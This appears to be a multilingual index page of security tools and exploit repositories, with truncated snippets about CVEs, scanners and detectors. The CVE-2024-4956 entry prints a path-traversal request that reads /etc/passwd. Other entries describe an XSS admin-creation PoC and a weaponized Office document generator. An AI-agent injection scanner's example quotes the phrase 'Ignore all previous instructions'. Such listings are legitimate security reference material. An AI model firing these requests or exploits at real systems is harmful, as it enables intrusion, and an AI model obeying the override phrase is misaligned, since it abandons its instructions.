CVE-2020-17518

CVE-2020-17518 Apache Flink RESTful API에서 디렉터리 트래버설을 통한 임의 파일 업로드 Apache Flink는 Java와 Scala로 개발된, 무한unbounded 및 유한bounded 데이터 스트림에 대한 상태 저장 계산을 위한 프레임워크이자 분산 처리 엔진입니다. Apache Flink 1.5.1에서 도입된 REST 핸들러는 디렉터리 트래버설을 통한 임의 파일 업로드 취약점에 영향을 받습니다. 이 취약점으로 인해 공격자는 조작된 HTTP 요청을 통해 로컬 파일 시스템의 임의 디렉터리에 파일을...

raxe-ce

AI 에이전트를 위한 위협 탐지 프롬프트 인젝션, 탈옥, 도구 공격을 실행 전에 차단합니다. 100% 로컬. 5ms 미만 규칙 매칭. 영원히 무료. root@kitploit: pip install raxe && raxe scan "Ignore all previous instructions" Python 3.10+ 필요 • 515+ 규칙 + ML 탐지 포함 영국 정부, Mandiant, FireEye 및 CrowdStrike 출신의 보안 베테랑이 구축 웹사이트 • 문서 • 빠른 시작 • X/Twitter RAXE란 무엇인가요?...

nodexp

NodeXP - Detection and Exploitation Tool for Node.js Services! NodeXP is an intergrated tool, written in Python 2.7, capable of detecting possible vulnerabilities on Node.js services as well as exploiting them in an automated way, based on ServerSideJavascriptInjection attack! Getting Started -...

nodexp

NodeXP - Node.js 服务的检测与利用工具！ NodeXP 是一个集成化工具，基于 SSJI （服务端 JavaScript 注入）攻击，使用 Python 2.7 编写，能够自动检测 Node.js 服务上的潜在漏洞并进行利用。 入门 - 安装与使用 通过克隆 Git 仓库下载 NodeXP： root@kitploit: git clone https://github.com/esmog/nodexp 要查看所有选项列表，运行： root@kitploit: python2.7 nodexp -h 分别针对 POST 和 GET 情况的示例： root@kitploit...

feroxbuster

!WARNING Security Notice – Domain Impersonation The domain feroxbuster.com is NOT affiliated with this project, its maintainers, or any official feroxbuster releases. Official feroxbuster downloads are distributed ONLY through: https://github.com/epi052/feroxbuster open source...

feroxbuster

!WARNING 보안 공지 – 도메인 사칭 feroxbuster.com 도메인은 이 프로젝트, 유지관리자 또는 공식 feroxbuster 릴리스와 관련이 없습니다. 공식 feroxbuster 다운로드는 다음 경로 로만 배포됩니다: https://github.com/epi052/feroxbuster 오픈소스 https://www.feroxbuster.pro 상업용 이 README에 기재된 패키지 저장소 설치 문서에 기재된 패키지 저장소 feroxbuster.com에서 소프트웨어를 배포하지 않으며, 해당 사이트에서 호스팅되는 파일...

domdig

DOMDig DOMDig is a DOM XSS scanner that runs inside the Chromium web browser and it can scan single page applications SPA recursively. Unlike other scanners, DOMDig can crawl any webapplication including gmail by keeping track of DOM modifications and XHR/fetch/websocket requests and it can...

opa

Open Policy Agent Open Policy Agent OPA is an open source, general-purpose policy engine that enables unified, context-aware policy enforcement across the entire stack. OPA is proud to be a graduated project in the Cloud Native Computing Foundation CNCF landscape. For details read the CNCF...

DEScrypt-CPU-Collision-Cracker

DEScrypt-CPU-Collision-Cracker Что такое DEScrypt-CPU-Collision-Cracker? Высокопроизводительный CPU‑взломщик DEScrypt для Linux, написанный на C++. Он определяет соль и использует список паролей для взлома хешей. Почему не радужная таблица? DEScrypt по умолчанию использует двухбайтовую соль состо...

HoneyWire

HoneyWire 📋 목차 개요 데모 범용 이벤트 표준 기능 아키텍처 빠른 시작 가이드 보안 참고 사항 기술 스택 로드맵 및 개발 버전 관리 및 API 참조 개요 HoneyWire 는 내부 네트워크를 위해 설계된 경량의 분산형 고신호 보안 조기 경보 시스템 빌더입니다. 아키텍처와 UX를 활용하여 새로운 Cyber Canary 서버를 구축하거나 기존 서버에 HoneyWire를 배포하는 것을 매우 쉽게 만듭니다. 기만 기술Deception Technology을 사용하여, 정상 트래픽을 감시하면서 분석가를 오탐으로 압도하는 기존...

private-landing

Private Landing 認証を正しく構築することで学ぶ。 ライブデモ · 脅威モデル · 認証フロー · ADR デモに関する注意: ログインエンドポイントは適応型PoWチャレンジによって保護されています。失敗を繰り返すと、proof-of-workの難易度が段階的に上がります。キャッシュバック型のレート制限は実装・テスト済みですが、現在ライブデモでは有効化されていません。app.tsのcreateCacheClientを切り替えると有効化できます。 これは、Cloudflare...

OpenAM

Open Access Management（OpenAM）は、認証、SSO、認可、フェデレーション、エンタイトルメント、Webサービスセキュリティを含むアクセス管理ソリューションです。 クロスドメインシングルサインオン（CDSSO）、SAML 2.0、OAuth 2.0、OpenID Connectにより、OpenAMはレガシーアプリケーション、カスタムアプリケーション、クラウドアプリケーションと、変更を必要とせずに簡単に統合できます。 これは開発者に優しいオープンソースの制御ソリューションであり、ユーザーのデジタルアイデンティティを所有し保護することができます。 主な機能 認証管理...

BridgeHead

BridgeHead 通过 ADWS 原生 C++ 访问 Active Directory，无需 .NET，无需 WCF，无需 HTTP 栈。 BridgeHead 是一个 C++20 静态库，直接在 TCP 之上实现完整的 Active Directory Web Services ADWS 协议栈。它得名于 AD 桥头服务器（目录流量流经的网关），为你的 C++ 代码提供与 PowerShell 的 Get-ADUser 和 Get-ADComputer 底层相同的对 9389 端口的低层访问能力。 目录 协议栈 快速开始 API 参考 构建 集成 平台支持 依赖项 已知限制 协议参...

grubcrawler

エージェント型ウェブクローラー - アンチディテクション、ビジョンフォールバック、P2Pメッシュ搭載 エンドポイント · メッシュ · アンチディテクション · ゴーストプロトコル · ライブストリーム · MCPツール · クイックスタート · ベンチマーク · アーキテクチャ...

CloudBrute

CloudBrute Инструмент для поиска инфраструктуры, файлов и приложений целевой компании в ведущих облачных провайдерах Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode. Результат полезен для охотников за багами, членов красных команд и пентестеров. Полное описание доступно здесь...

Tater

Tater Tater — это реализация эксплойта Hot Potato для повышения привилегий в Windows на PowerShell. Авторство Все авторские права принадлежат @breenmachine, @foxglovesec, Google Project Zero и всем, кто помог проработать детали этого эксплойта. Potato — https://github.com/foxglovesec/Potato Включ...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

CVE-2024-7313

Shield Security 플러그인 취약점 익스플로잇 CVE-2024-7313 개요 이 저장소는 WordPress용 Shield Security 플러그인버전 20.0.6 미만의 반사형 XSS 취약점을 익스플로잇하기 위한 Python PoC 스크립트를 포함합니다. 이 취약점CVE-2024-7313을 통해 공격자는 대상에 맞춤화된 악성 링크를 생성할 수 있으며, 관리자가 이를 클릭하면 XSS를 통해 승인되지 않은 관리자 계정이 생성됩니다. 이 스크립트는 취약한 설치를 자동으로 감지하고 취약점을 익스플로잇하기 위한 페이로드를...

CVE-2023-50164

CVE-2023-50164 CVE-2023-50164를 위한 스캐닝 유틸리티 및 PoC 고려 사항 CVE-2023-50164의 악용은 환경에 매우 의존적입니다. 이 PoC는 사용자가 스크립트 플래그를 통해 환경별 세부 정보를 입력하도록 요구함으로써 악용 프로세스를 일반화하려고 시도합니다. 이 스크립트는 정상 파일을 업로드한 다음 사용자가 전달한 파일 경로로 해당 파일을 덮어쓰려고 시도합니다. 스크립트는 필연적으로 사용자가 자신의 파일 경로를 업로드할 수 있도록 허용하지만, 해당 경로에 기록되는 파일 내용은 완전히 무해하며 단순...

CVE-2021-40444

완전 무장된 CVE-2021-40444 CVE-2021-40444 Microsoft Office Word 원격 코드 실행를 악용하는 악성 docx 생성기, 임의의 DLL 파일과 함께 작동합니다. 2022-05-31 업데이트 - CVE-2022-30190 - Follina 이제 생성기는 "Follina" 공격ms-msdt 활용을 악용하는 데 필요한 문서도 생성할 수 있습니다. 배경 이미 많은 PoC가 인터넷에 돌아다니고 있지만, 이 취약점을 무장화하는 데 도전해보기로 했습니다. 제가 찾은 자료들은 공유할 가치가 있는 중요한 정보...